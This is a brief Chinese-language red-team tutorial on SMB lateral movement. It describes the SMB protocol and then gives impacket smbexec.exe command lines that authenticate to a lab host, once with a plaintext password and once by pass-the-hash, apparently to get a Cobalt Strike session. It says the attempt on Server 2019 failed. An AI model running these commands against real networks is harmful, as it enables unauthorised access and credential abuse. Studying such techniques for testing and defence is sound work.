SMB远程执行命令横向移动
一、SMB介绍
SMB 全称是 Server Message Block 翻译过来是服务器信息块，它也是一种客户端到服务器的通信协议。除此之外，SMB 协议也被称为请求-回复协议。 客户端与服务器建立连接后，客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件。
利用条件：开启了445端口
二、smbexec.exe上线CS
注意：需要用到远程桌面。靶机使用的是server2019，并未成功。
smbexec.exe为impacket工具中的工具，操作简单，容易被杀，使用时无需先进行IPC连接。
1、明文方式横向移动
smbexec.exe administrator:admin@123@192.168.142.10
2、hash方式横向移动
smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 administrator@192.168.142.10